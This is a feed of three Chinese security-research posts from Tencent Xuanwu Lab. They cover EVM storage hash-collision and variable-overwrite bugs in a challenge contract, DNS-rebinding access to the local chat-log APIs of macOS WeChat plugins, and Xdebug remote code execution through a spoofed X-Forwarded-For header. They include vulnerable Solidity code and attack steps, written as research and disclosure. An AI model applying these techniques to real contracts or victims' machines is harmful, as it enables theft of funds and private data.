腾讯安全玄武实验室 //xlab.tencent.com/cn Fri, 09 Nov 2018 05:58:26 +0000 zh-CN hourly 1 https://wordpress.org/?v=4.9.1 从一起“盗币”事件看以太坊存储 hash 碰撞问题 //xlab.tencent.com/cn/2018/11/09/pay-attention-to-the-ethereum-hash-collision-problem-from-the-stealing-coins-incident/ Fri, 09 Nov 2018 04:01:24 +0000 //xlab.tencent.com/cn/?p=404 继续阅读“从一起“盗币”事件看以太坊存储 hash 碰撞问题”]]> Author : Kai Song(exp-sky)、hearmen、salt、sekaiwu of Tencent Security Xuanwu Lab

“盗币”

十一月六日,我们观察到以太坊上出现了这样一份合约,经调查发现是某区块链安全厂商发布的一份让大家来“盗币”的合约。

pragma solidity ^0.4.21;
contract DVPgame {
    ERC20 public token;
    uint256[] map;
    using SafeERC20 for ERC20;
    using SafeMath for uint256;
    constructor(address addr) payable{
        token = ERC20(addr);
    }
    function (){
        if(map.length>=uint256(msg.sender)){
            require(map[uint256(msg.sender)]!=1);
        }
        if(token.balanceOf(this)==0){
            //airdrop is over
            selfdestruct(msg.sender);
        }else{
            token.safeTransfer(msg.sender,100);

            if (map.length <= uint256(msg.sender)) {
                map.length = uint256(msg.sender) + 1;
            }
            map[uint256(msg.sender)] = 1;  

        }
    }
    //Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
    function guess(uint256 x,uint256 blockNum) public payable {
        require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))>=1*(10**18));
        require(blockNum>block.number);
        if(token.allowance(msg.sender,address(this))>0){
            token.safeTransferFrom(msg.sender,address(this),1*(10**18));
        }
        if (map.length <= uint256(msg.sender)+x) {
            map.length = uint256(msg.sender)+x + 1;
        }

        map[uint256(msg.sender)+x] = blockNum;
    }
    //Run a lottery
    function lottery(uint256 x) public {
        require(map[uint256(msg.sender)+x]!=0);
        require(block.number > map[uint256(msg.sender)+x]);
        require(block.blockhash(map[uint256(msg.sender)+x])!=0);
        uint256 answer = uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000;
        if (x == answer) {
            token.safeTransfer(msg.sender,token.balanceOf(address(this)));
            selfdestruct(msg.sender);
        }
    }
}

经过观察之后,我们在这个合约中,发现了我们之前研究的一个 EVM 存储的安全问题,即 EVM 存储中的 hash 碰撞问题。

首先,针对上面的合约,如果构造出 x == uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000 即可在 lottery 方法中获取到该合约中的以太币,但是这个 x 的值,只能通过不断的猜测去得到,并且概率微乎其微。

然后,我们发现在合约的 fallback 函数中,也存在一个 selfdestruct 函数可以帮助我们完成“盗币”任务,但是要求本合约地址在 token 合约中的余额为 0。

根据我们之前对于 EVM 存储的分析,我们发现在 guess 函数中存在对 map 类型数据任意偏移进行赋值 map[uint256(msg.sender)+x] = blockNum;,由于在 EVM 中,map 类型中数据存储的地址计算方式为 address(map_data) = sha(key,slot)+offset,这就造成了一个任意地址写的问题,如果我们能够覆盖到token 变量,就能向 token 写入我们构造的合约,保证 DVPgame 合约在我们构造合约中的余额为 0,这样就能执行 DVPgame 合约的 selfdestruct 函数完成“盗币”。

token 变量的地址为0,溢出之后可以达到这个值,即我们需要构造 sha(msg.sender,slot)+x==2**256(溢出为0)即可。

深入分析

其实早在六月底的时候,经过对 ETH 以及其运行时环境 EVM 的初步研究,我们已经在合约层面和虚拟机层面分别发现了一些问题,其中变量覆盖以及Hash 碰撞问题是非常典型的两个例子。

变量覆盖

在某些合约中,我们发现在函数内部对 struct 类型的临时变量进行修改,会在某些情况下覆盖已有的全局变量。

pragma solidity ^0.4.23; 
contract Locked {
    bool public unlocked = false;    
    struct NameRecord { 
        bytes32 name;
        address mappedAddress;
    }
    mapping(address => NameRecord) public registeredNameRecord; 
    mapping(bytes32 => address) public resolve;
    function register(bytes32 _name, address _mappedAddress) public {
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 
        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 
        require(unlocked); 
    }
}

合约的源码如上面所示,在正常情况下,由于合约并没有提供修改 unlocked 的接口,因此不太可能达到修改它的目的。但是实际上我们在测试中发现,只要调用合约的 register 方法就可以修改 unlocked。

Hash 碰撞

经过对 EVM 的存储结构分析,我们发现 EVM 的设计思路中,在其存储某些复杂变量时可能发生潜在的 hash 碰撞,覆盖已有变量,产生不可预知的问题。

pragma solidity ^0.4.23; 

contract Project
{
    mapping(address => uint) public balances; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses

    uint[] stateVar;

    function Resolve() returns (bytes32){
        balances[msg.sender] = 10000000;   
        return sha3(bytes32(msg.sender),bytes32(0));
    }

    function Resize(uint i){
        stateVar.length = i;
    }

    function Rewrite(uint i){
        stateVar[i] = 0x10adbeef; 
    }

}

上面的代码就存在类似的 hash 碰撞问题。查看合约源代码可以看到 balances 字段只能通过 Reslove 接口进行访问,正常情况下 balance 中存放的值是无法被修改的。但是在这个合约中,调用函数 RewritestateVar 进行操作时有可能覆盖掉 balances 中的数据

背景分析

在 EVM 中存储有三种方式,分别是 memory、storage 以及 stack。

  1. memory : 内存,生命周期仅为整个方法执行期间,函数调用后回收,因为仅保存临时变量,故GAS开销很小
  2. storage : 永久储存在区块链中,由于会永久保存合约状态变量,故GAS开销也最大
  3. stack : 存放部分局部值类型变量,几乎免费使用的内存,但有数量限制

首先我们分析一下各种对象结构在 EVM 中的存储和访问情况

Map

首先分析 map 的存储,

    struct NameRecord { 
        bytes32 name; 
        address mappedAddress;
    }
    mapping(bytes32 => address) public resolve; 
    function register(bytes32 _name, address _mappedAddress) public {
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 
        resolve[_name] = _mappedAddress;
    }
}

我们在调试 storage 中 map 结构时发现,map 中数据的存储地址其实是 map.key 以及 map 所在位置 map_slot 二者共同的 hash 值,这个值是一个 uint256。即

address(map_data) = sha(key,slot) 

并且我们同时发现,如果 map 中存储的数据是一个结构体,则会将结构体中的成员分别依次顺序存入 storage 中,存储的位置为 sha(key,slot) + offset,即是直接将成员在结构体中的偏移与之前计算的 hash 值相加作为存储位置。

这种 hash + offset 的 struct 存储方式会直接导致 sha3 算法的 hash 失去意义,在某些情况下产生 sha(key1,slot) + offset == sha(key2,slot) ,即 hash 碰撞。

Array

接下来我们看一下 Array 的情况

调试中发现全局变量的一个定长 Array 是按照 index 顺序排列在 storage 中的。

如果我们使用 new 关键字申请一个变长数组,查看其运行时存储情况

    function GetSome() returns(uint){
        stateVar = new uint[](2);
        stateVar[1] = 0x10adbeef;
        //stateVar = [1,2,4,5,6]; // 这种方式和 new 是一样的
        return stateVar[1];
    }

调试中发现如果是一个变长数组,数组成员的存储位置就是根据 hash 值来选定的了, 数组的存储位置为 sha3(address(array_object))+index。数组本身的 slot 中所存放的只是数组的长度而已,这样也就很好理解为什么存放在 storage 中的变长数组可以通过调整 length 属性来自增。

变长数组仍依照 hash + offset 的方式存储。也有可能出现 hash 碰撞的问题。

Array + Struct

如果数组和结构体组合起来,那么数据在 storage 中的索引将如何确定呢

    struct Person {
        address[] addr;
        uint funds;
    }    
    mapping(address => Person) public people;   
    function f() {
        Person p;
        p.addr = [0xca35b7d915458ef540ade6068dfe2f44e8fa733c,0x14723a09acff6d2a60dcdf7aa4aff308fddc160c];
        p.funds = 0x10af;

        people[msg.sender] = p;
    }

Person 类型的对象 p 第一个成员是一个动态数组 addr,存储 p 对象时,首先在 map 中存储动态数组:

storage[hash(msg_sender,people_slot)] = storage[p+slot]

接着依次存储动态数组内容:

storage[hash(hash(msg_sender,people_slot))] = storage[hash(p_slot)]; storage[hash(hash(msg_sender,people_slot))+1] = storage[hash(p_slot)+1];

最后存储 funds:

storage[hash(msg_sender,people_slot)+1]

同理,数组中的结构体存储也是类似。

问题分析

变量覆盖

pragma solidity ^0.4.23; 
contract Locked {
    bool public unlocked = false;    
    struct NameRecord { 
        bytes32 name;
        address mappedAddress;
    }
    mapping(address => NameRecord) public registeredNameRecord; 
    mapping(bytes32 => address) public resolve;
    function register(bytes32 _name, address _mappedAddress) public {
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 
        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 
        require(unlocked); 
    }
}

本合约中 unlocked 变量存储在 storage 中偏移为1 的位置。而在调试中发现 newRecord 对象在 storage 部分的索引位置也是 0 ,和全局 unlocked 相重叠,因此访问 newRecord 的时候也会顺便修改到 unlocked。

调试中我们发现所有的临时变量都是从 storage 的 0 位置开始存储的,如果我们多设置几个临时变量,会发现在函数开始选定 slot 时,所有的临时变量对应的 slot 值都是 0。

成因分析

我们下载 solidity 编译器的源码进行查看,分析这里出现问题的原因。源码可在这里 找到,直接使用 cmake 编译源码即可,编译教程。 solidity 的源码需要引用 boost 库,如果之前没有安装的话需要先安装 boost。编译的过程不再赘述,最终会生成三个可执行文件 (在 Windows 上的编译会有点问题,依赖的头文件没办法自动加入工程,需要手动添加,并且会还有一些字符表示的问题)

  • solc\solc
  • lllc\lllc
  • test\soltest

solc 可以将 sol 源码编译成 EVM 可以运行的 bytecode

调试 Solc ,查看其中对于 struct 作为临时变量时的编译情况

contract Project
{
    uint a= 12345678;
    struct Leak{
        uint s1;
    }
    function f(uint i) returns(uint) {
        Leak l;
        return l.s1;
    }

}

关键代码调用栈如下

>   solc.exe!dev::solidity::ContractCompiler::appendStackVariableInitialisation(const dev::solidity::VariableDeclaration & _variable) Line 951  C++
    solc.exe!dev::solidity::ContractCompiler::visit(const dev::solidity::FunctionDefinition & _function) Line 445   C++
    solc.exe!dev::solidity::FunctionDefinition::accept(dev::solidity::ASTConstVisitor & _visitor) Line 206  C++
    solc.exe!dev::solidity::ContractCompiler::appendMissingFunctions() Line 870 C++
    solc.exe!dev::solidity::ContractCompiler::compileContract(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts) Line 75  C++
    solc.exe!dev::solidity::Compiler::compileContract(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts, const std::vector<unsigned char,std::allocator<unsigned char> > & _metadata) Line 39 C++
    solc.exe!dev::solidity::CompilerStack::compileContract(const dev::solidity::ContractDefinition & _contract, std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _compiledContracts) Line 730  C++
    solc.exe!dev::solidity::CompilerStack::compile() Line 309   C++
    solc.exe!dev::solidity::CommandLineInterface::processInput() Line 837   C++
    solc.exe!main(int argc, char * * argv) Line 59  C++

关键函数为 appendStackVariableInitialisation,可以看到这里调用 pushZeroValue 记录临时变量信息,如果函数发现 value 存在于 Storage 中,那么就直接 PUSH 0,直接压入 0!!!所有的临时变量都通过这条路径,换而言之,所有的临时变量 slot 都是 0 。

void ContractCompiler::appendStackVariableInitialisation(VariableDeclaration const& _variable)
{
    CompilerContext::LocationSetter location(m_context, _variable);
    m_context.addVariable(_variable);
    CompilerUtils(m_context).pushZeroValue(*_variable.annotation().type);
}

笔者目前还不能理解这样设计的原因,猜测可能是因为 storage 本身稀疏数组的关系,不便于通过其他额外变量来控制 slot 位置,但是以目前这样的实现,其问题应该更多。

与之相对的全局变量的编译,函数调用栈如下

>   solc.exe!dev::solidity::ContractCompiler::initializeStateVariables(const dev::solidity::ContractDefinition & _contract) Line 403    C++
    solc.exe!dev::solidity::ContractCompiler::appendInitAndConstructorCode(const dev::solidity::ContractDefinition & _contract) Line 146    C++
    solc.exe!dev::solidity::ContractCompiler::packIntoContractCreator(const dev::solidity::ContractDefinition & _contract) Line 165 C++
    solc.exe!dev::solidity::ContractCompiler::compileConstructor(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts) Line 89   C++
    solc.exe!dev::solidity::Compiler::compileContract(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts, const std::vector<unsigned char,std::allocator<unsigned char> > & _metadata) Line 44 C++
    solc.exe!dev::solidity::CompilerStack::compileContract(const dev::solidity::ContractDefinition & _contract, std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _compiledContracts) Line 730  C++
    solc.exe!dev::solidity::CompilerStack::compile() Line 309   C++
    solc.exe!dev::solidity::CommandLineInterface::processInput() Line 837   C++
    solc.exe!main(int argc, char * * argv) Line 59  C++

关键函数为 StorageItem::StorageItem ,函数从 storageLocationOfVariable 中获取全局变量在 storage 中的 slot

StorageItem::StorageItem(CompilerContext& _compilerContext, VariableDeclaration const& _declaration):
    StorageItem(_compilerContext, *_declaration.annotation().type)
{
    auto const& location = m_context.storageLocationOfVariable(_declaration);
    m_context << location.first << u256(location.second);
}

hash 碰撞

如前文中提到的,使用 struct 和 array 的智能合约存在出现 hash 碰撞的可能。
一般来说 sha3 方法返回的 hash 是不会产生碰撞的,但是无法保证 hash(mem1)+n 不与其他 hash(mem2) 产生冲突。举个例子来说有两个 map

struct Account{
    string name;
    uint ID;
    uint amount;
    uint priceLimit;
    uint total;
}

map<address, uint> balances;     // slot 0  
map<string, Account> userTable;    // slot 1

在存储 balances[key1] = value1 时计算 sha3(key1,0) = hash1; Storage[hash1] = value1

存储 userTable[key2] = account 时计算 sha3(key2,1) = hash2;

hash1 和 hash2 是不相同的,但是 hash1 和 hash2 很有可能是临近的,相差很小,我们假设其相差 4 。

此时实际存储 account 时,会依次将 Account.nameAccount.IDAccount.amountAccount.priceLimitAccount.total存放在 storage 中 hash2、hash2+1、hash2+2、hash2+3、hash2+4 的位置。而 hash2+4 恰恰等于 hash1 ,那么 Account.total 的值就会覆盖之前存储在 balances 中的内容 value1

不过通过 struct 攻击只是存在理论上可能,在实际中找到相差很小的 sha3 是很难的。但是如果将问题转化到 array 中,就有可能实现真实的攻击。

因为在 array 中,数组的长度由数组对象第一个字节中存储的数据控制,只要这个值足够大,攻击者就可以覆盖到任意差距的 hash 数据。

pragma solidity ^0.4.23; 
contract Project
{
    mapping(address => uint) public balances; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses

    uint[] stateVar;

    function Resolve() returns (bytes32){
        balances[msg.sender] = 10000000;   // 0x14723a09acff6d2a60dcdf7aa4aff308fddc160c ->  0x51fb309f06bafadda6dd60adbce5b127369a3463545911e6444ab4017280494d 

        return sha3(bytes32(msg.sender),bytes32(0));
    }

    function Resize(uint i){
        stateVar.length = 0x92b6e4f83ec43f4bc9069880e92f6ea53e45d964038b04cc518a923857c1b79c; // 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace
    }

    function Rewrite(uint i){
        stateVar[i] = 0x10adbeef; // 0x11a3a8a4f412d6fcb425fd90f8ca757eb40f014189d800d449d4e6c6cec4ee7f = 0x51fb309f06bafadda6dd60adbce5b127369a3463545911e6444ab4017280494d - 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace
    }

}

当前的 sender 地址为 0x14723a09acff6d2a60dcdf7aa4aff308fddc160c , balance[msg.sender] 存储的位置为 0x51fb309f06bafadda6dd60adbce5b127369a3463545911e6444ab4017280494d。 调用 Resize 方法将数组 stateVar 的长度修改,数组的存储位置在 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace

最后调用合约方法 Rewrite 向数组赋值,该操作会覆盖 balance 中的内容,将地址为 sender 的值覆盖。

实际内存

最后我们来看一下实际内存的管理情况。无论以太坊区块链的上层技术如何高深,内存终归是需要落地的,最终这些数据还是需要存储在实际的物理内存中的。因此我们通过源码,实际分析 storage 部分的存储情况。EVM 的源码在 https://github.com/ethereum/cpp-ethereum

流程分析

1、 EVM 的返回值是通过 EVM 传递的,一般的在 Memory 偏移 0x40 的位置保存着返回值地址,这个地址上保存着真实的返回值

2、Storage 在最底层的实现上是一个 STL 实现稀疏数组,将 slot 值作为 key 来存储值

3、在 Storage 中的 Map 和 变长 Array 均是以 hash 值作为最底层稀疏数组的索引来进行的。 其中变长数组的索引方式为 hash(array_slot) + index 而 Map 的索引方式为 hash(map_slot, key) ,当 Value 为 Struct 时 Struct 成员会分别存储,每个成员的索引为 hash(map_slot, key) + offset

代码分析

Storage

Storage 部分内存是与合约代码共同存储在区块中的内存,因此 storage 内存消耗的 gas 回相对较多,我们通过 SLOAD 指令查看 Storage 在区块上的存储方式

SLOAD 指令在函数 interpretCases 中进行处理,当 EVM 解析到 SLOAD 指令后,首先从栈中获取栈顶元素作为 storage 访问的 key,然后调用函数 getStorage 进行实际访问

    case SLOAD:
            evmc_uint256be key = toEvmC(m_SP[0]);
            evmc_uint256be value;
            m_context->fn_table->get_storage(&value, m_context, &m_message->destination, &key);
            m_SPP[0] = fromEvmC(value);
evmc_context_fn_table const fnTable = {
        accountExists,
        getStorage,
        setStorage,
        getBalance,
        getCodeSize,
        copyCode,
        selfdestruct,
        eth::call,
        getTxContext,
        getBlockHash,
        eth::log,
    };

getStorage 函数接收四个参数,第一个参数为返回地址,第二个参数是当前调用的上下文环境,第三个参数是此次交易信息的目的地址即合约地址,第四个参数是 storage 的索引 key

函数首先对 address 进行验证,保证当前的上下文就是处于合约地址的空间内,接着再调用 env.store 实际获取数据

void getStorage(
    evmc_uint256be* o_result,
    evmc_context* _context,
    evmc_address const* _addr,
    evmc_uint256be const* _key
) noexcept
{
    (void) _addr;
    auto& env = static_cast<ExtVMFace&>(*_context);
    assert(fromEvmC(*_addr) == env.myAddress);
    u256 key = fromEvmC(*_key);
    *o_result = toEvmC(env.store(key));
}
    virtual u256 store(u256 _n) override final { return m_s.storage(myAddress, _n); }

最终工作来到 State::storage

u256 State::storage(Address const& _id, u256 const& _key) const
{
    if (Account const* a = account(_id))
    {
        auto mit = a->storageOverlay().find(_key);
        if (mit != a->storageOverlay().end())
            return mit->second;

        // Not in the storage cache - go to the DB.
        SecureTrieDB<h256, OverlayDB> memdb(const_cast<OverlayDB*>(&m_db), a->baseRoot());          // promise we won't change the overlay! :)
        string payload = memdb.at(_key);
        u256 ret = payload.size() ? RLP(payload).toInt<u256>() : 0;
        a->setStorageCache(_key, ret);
        return ret;
    }
    else
        return 0;
}

函数首先根据 address 获取对应的 Account 对象

Account* State::account(Address const& _addr)
{
    auto it = m_cache.find(_addr);   // m_cache 使用 unordered_map 作为存储结构, find 返回 pair<key, value> 迭代器,迭代器 it->frist 表示 key ; it->second 表示 value
    if (it != m_cache.end())
        return &it->second;

    if (m_nonExistingAccountsCache.count(_addr))  // m_nonExistingAccountsCache 用于记录那些在当前环境下不存在的 addr
        return nullptr;

    // Populate basic info.
    string stateBack = m_state.at(_addr);  //  m_state 即为 StateDB ,以 addr 作为 key 获取这个 account 相关的信息,StateDB 中的数据已经格式化成了 string
    if (stateBack.empty())
    {
        m_nonExistingAccountsCache.insert(_addr);
        return nullptr;
    }

    clearCacheIfTooLarge();

    RLP state(stateBack);  // 创建 RLP 对象。交易必须是正确格式化的RLP。”RLP”代表Recursive Length Prefix,它是一种数据格式,用来编码二进制数据嵌套数组。以太坊就是使用RLP格式序列化对象。
    auto i = m_cache.emplace(
        std::piecewise_construct,
        std::forward_as_tuple(_addr),
        std::forward_as_tuple(state[0].toInt<u256>(), state[1].toInt<u256>(), state[2].toHash<h256>(), state[3].toHash<h256>(), Account::Unchanged)
    );  // 把这个 addr 以及其对应的数据加入到 cache 中,使用逐片构造函数
    m_unchangedCacheEntries.push_back(_addr);
    return &i.first->second;  // 返回这个 account
}

下面的注释是部分 Account 对象的说明 ,Account 对象用于表示一个以太账户的状态,Account 对象和 addr 通过 Map 存储在 State 对象中。 每一个 Account 账户包含了一个 storage trie 用于索引其在整个 StateDB 中的节点,Account 对于 storage 的操作会首先在 storageOverlay 这个 map 上进行,待之后有需要时才会将数据更新到 trie 上

/**
 * Models the state of a single Ethereum account.
 * Used to cache a portion of the full Ethereum state. State keeps a mapping of Address's to Accounts.
 *
 * Aside from storing the nonce and balance, the account may also be "dead" (where isAlive() returns false).
 * This allows State to explicitly store the notion of a deleted account in it's cache. kill() can be used
 * for this.
 *
 * For the account's storage, the class operates a cache. baseRoot() specifies the base state of the storage
 * given as the Trie root to be looked up in the state database. Alterations beyond this base are specified
 * in the overlay, stored in this class and retrieved with storageOverlay(). setStorage allows the overlay
 * to be altered.
 *

回到 State::storage 函数,在获取了 Account 之后查看 Account 的 storageOverlay 中是否有指定 key 的 value ,如果没有就去 DB 中查找,以 Account->m_storageRoot 为根,从 State->m_db 中获取一个 db 的拷贝。在这个 tire 的拷贝中查找并将其 RLP 格式化之后存在 m_storageOverlay

可以看到在实际数据同步到区块上之前,EVM 为 storage 和 account 均提供了二级缓存机制用以提高访存的效率:

  • storage: 一级缓存->account->m_storageOverlay; 二级缓存->state->m_db
  • account: 一级缓存->state->m_cache; 二级缓存->state->m_state

同样我们从存储 Storage 的入口点 SSTORE 开始进行分析, 主体函数为 VM::interpretCases , SSTORE opcode 最终会访问一个 unordered_map 类型的 hash 表

void VM::interpretCases(){
        // .....
        CASE(SSTORE)
        {
            ON_OP();
            if (m_message->flags & EVMC_STATIC)
                throwDisallowedStateChange();

            updateSSGas();
            updateIOGas();

            evmc_uint256be key = toEvmC(m_SP[0]);
            evmc_uint256be value = toEvmC(m_SP[1]);
            m_context->fn_table->set_storage(m_context, &m_message->destination, &key, &value);
        }
        NEXT
        // .....
}

|-
    evmc_context_fn_table const fnTable = {
        accountExists,
        getStorage,
        setStorage,
        getBalance,
        getCodeSize,
        copyCode,
        selfdestruct,
        eth::call,
        getTxContext,
        getBlockHash,
        eth::log,
    };


    void setStorage(
        evmc_context* _context,
        evmc_address const* _addr,
        evmc_uint256be const* _key,
        evmc_uint256be const* _value
    ) noexcept
    {
        (void) _addr;
        auto& env = static_cast<ExtVMFace&>(*_context);
        assert(fromEvmC(*_addr) == env.myAddress);
        u256 index = fromEvmC(*_key);
        u256 value = fromEvmC(*_value);
        if (value == 0 && env.store(index) != 0)                   // If delete
            env.sub.refunds += env.evmSchedule().sstoreRefundGas;  // Increase refund counter

        env.setStore(index, value);    // Interface uses native endianness
    }

    |-
        void ExtVM::setStore(u256 _n, u256 _v)
        {
            m_s.setStorage(myAddress, _n, _v);
        }

        |-

            void State::setStorage(Address const& _contract, u256 const& _key, u256 const& _value)
            {
                m_changeLog.emplace_back(_contract, _key, storage(_contract, _key));
                m_cache[_contract].setStorage(_key, _value);
            }

            |-

                class Account{
                    // ...
                    std::unordered_map<u256, u256> m_storageOverlay;
                    // ...
                    void setStorage(u256 _p, u256 _v) { m_storageOverlay[_p] = _v; changed(); }
                    // ...
                }

memory

依旧从 MSTORE 入手,查看 EVM 中对 memory 的处理

        CASE(MSTORE)
        {
            ON_OP();
            updateMem(toInt63(m_SP[0]) + 32);
            updateIOGas();

            *(h256*)&m_mem[(unsigned)m_SP[0]] = (h256)m_SP[1];
        }
        NEXT

可以看到 memory 只在当前运行环境中有效,并不存储在与 state 相关的任何位置,因此 memory 只在当前这次运行环境内生效,即 Memory 只在一次交易内生效

code

code 与 storage 类似,也是与 Account 相关的,因此 code 也会存储在 Account 对应的结构中,一级缓存为 account->m_codeCache; 二级缓存存放位置 state->m_db[codehash]

void State::setCode(Address const& _address, bytes&& _code)
{
    m_changeLog.emplace_back(_address, code(_address));
    m_cache[_address].setCode(std::move(_code));
}

总结

虽然 hash 碰撞的问题出现在了一起类似 CTF 的“盗币”比赛中,但是我们也应该重视由于 EVM 存储设计问题而带来的变量覆盖以及 hash 碰撞之类的问题,希望各位智能合约的开发者们在开发中关注代码中的数据存储,避免由于此类问题带来的损失。

Timeline

6月28日——发现存在变量覆盖以及 hash 碰撞问题
11月6日——发现存在 hash 碰撞问题的合约

Reference

[1] https://github.com/ethereum/solidity/issues/1550
[2] https://lilymoana.github.io/ethereum_theory.html
[3] https://github.com/FISCO-BCOS/Wiki/tree/master/%E6%B5%85%E8%B0%88Ethereum%E7%9A%84%E5%AD%98%E5%82%A8#StateDB%E6%A8%A1%E5%9D%97
[4] https://github.com/ethereum/cpp-ethereum

]]>
来自微信外挂的安全风险 //xlab.tencent.com/cn/2018/10/23/weixin-cheater-risks/ Tue, 23 Oct 2018 07:39:48 +0000 //xlab.tencent.com/cn/?p=398 继续阅读“来自微信外挂的安全风险”]]> 玄武实验室联合独立安全研究员 em 发现在 Mac OS 上用户量比较大的两款微信防撤回外挂存在安全问题,装了此外挂的用户只要在浏览器里访问攻击者页面并停留一分钟左右,攻击者即可拿到该用户的好友列表,聊天记录,甚至以该用户的身份给好友发送消息,对用户的信息安全造成巨大威胁。

目前这两款外挂的用户量较大,比较热门的一款目前在 Github 上的 star 数量接近 8800,实际安装的用户数量可能更多。经过玄武实验室与微信安全部门沟通,为了避免让众多用户暴露在安全风险中,我们决定先对该外挂进行漏洞通报,然后再发文提示用户安全威胁。em 于10月15日在对应的 Github 仓库中提交了修复代码,其中一个已经进行修补,而另一个尚无操作。玄武实验室联合微信安全提醒大家,不要随意安装微信外挂。

一个攻击演示的视频如下。

这两个外挂出现问题的原因是相同的。下面以较为流行的 WeChatPlugin-MacOS 为例,说明此攻击发生的原理。

根据代码我们发现,WeChatPlugin-MacOS 使用了GCDWebServer在本地127.0.0.1监听了52700端口作为 web 服务器。以修复前的代码为例。在TKWebServerManager.m文件中定义了以下4个基于 HTTP 的 API。

  • /wechat-plugin/user
  • /wechat-plugin/chatlog
  • /wechat-plugin/open-session
  • /wechat-plugin/send-message

这四个 API 接口的作用分别是获取用户好友、获取聊天记录、打开与指定好友的聊天窗口、对指定好友发送任意消息。

例如,直接在浏览器里访问http://127.0.0.1:52700/wechat-plugin/user即可获取在 Mac 版微信聊天窗口页中所有的好友、群等信息。

有的同学可能会有疑问,端口监听在本地,只有自己能访问到,攻击者如何发起攻击呢?

一种常见的针对此场景的攻击方法名为 DNS Rebind。攻击者首先自己搭建一个DNS解析服务器,让自己控制的域名在发生第一次DNS解析的时候指向攻击者的服务器,以后都解析到127.0.0.1。这样当受害者访问攻击者的页面(http://attacker-domain-with-dns-rebind/exp.html)的时候,会从攻击者的服务器上拉取攻击代码,后面的对attacker-domain-with-dns-rebind域名的请求,会指向本地,即127.0.0.1。由于DNS的解析结果存在一定的缓存时间,在浏览器里大概需要1分钟的时间才会失效进行第二次解析。在发生第二次解析的时候,其指向的IP地址会变为127.0.0.1。虽然 DNS 解析指向的服务器变了,但是域名没变,浏览器仍然遵循同源策略,这样就能往本地端口发送请求并获取数据,甚至传输到其他站点了。

通过 DNS Rebind,攻击者可以拿到该用户的好友列表,聊天记录,以该用户的身份给好友发送消息。

最后感谢 m4bln 在测试过程中提供的帮助。

附存在问题的插件:
https://github.com/TKkk-iOSer/WeChatPlugin-MacOS
https://github.com/Sunnyyoung/WeChatTweak-macOS

]]>
利用恶意页面攻击本地Xdebug //xlab.tencent.com/cn/2018/03/30/pwn-local-xdebug/ Fri, 30 Mar 2018 10:23:38 +0000 //xlab.tencent.com/cn/?p=387 继续阅读“利用恶意页面攻击本地Xdebug”]]> TL;DR
PHP开发者以及一些安全研究人员经常会在本地搭建一个基于Xdebug的PHP的调试服务,在大部分配置情况下,Xdebug采用HTTP请求头中的X-Forwarded-For字段作为DBGp协议的回连地址。受害者浏览攻击页面一段时间,攻击者可利用DNS Rebind技术向本地服务器发送带有恶意X-Forwarded-For的请求,即有可能在受害者电脑上执行任意代码。

Xdebug是用于调试PHP的扩展,可以根据本地源码远程调试服务器上的PHP代码。很多开发者和安全研究人员通常会在本地搭建一套PHP的调试环境,用于日常的开发和调试。如果服务器开启了Xdebug的回连,并且攻击者能直接访问到服务器的话,可以直接造成RCE。

但是大部分情况下,这些服务器处于内网环境中,有些甚至监听在127.0.0.1上,攻击者很难直接访问到,导致无法利用。如果把开发人员当做代理,利用CSRF来攻击位于内网的Xdebug呢?

我们首先看一下Xdebug有关远程调试的文档
如果xdebug.remote_connect_back启用,xdebug.remote_host没有设置,Xdebug会主动连接发起HTTP请求的客户端。Xdebug会依次检测$_SERVER['HTTP_X_FORWARDED_FOR']$_SERVER['REMOTE_ADDR']来决定回连的IP地址。

即当Xdebug有类似如下的配置的时候,即有机会让Xdebug回连到请求头中X-Forwarded-For指向的ip地址。

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
xdebug.remote_log =  /tmp/test.log

一般来讲,在PHP开发人员的本地环境中会有index.phpconfig.php等文件。在受害者访问攻击者的恶意页面时,攻击者可以让受害者在浏览器里尝试向本地url如http://127.0.0.1/index.php?XDEBUG_SESSION_START或者http://127.0.0.1/config.php?XDEBUG_SESSION_START发起HTTP请求,并带有指向攻击者服务器的X-Forwarded-For请求头。这样攻击者就能在自己的服务器上收到来自受害者的DBGp协议的连接,在受害者的电脑上执行任意PHP代码。

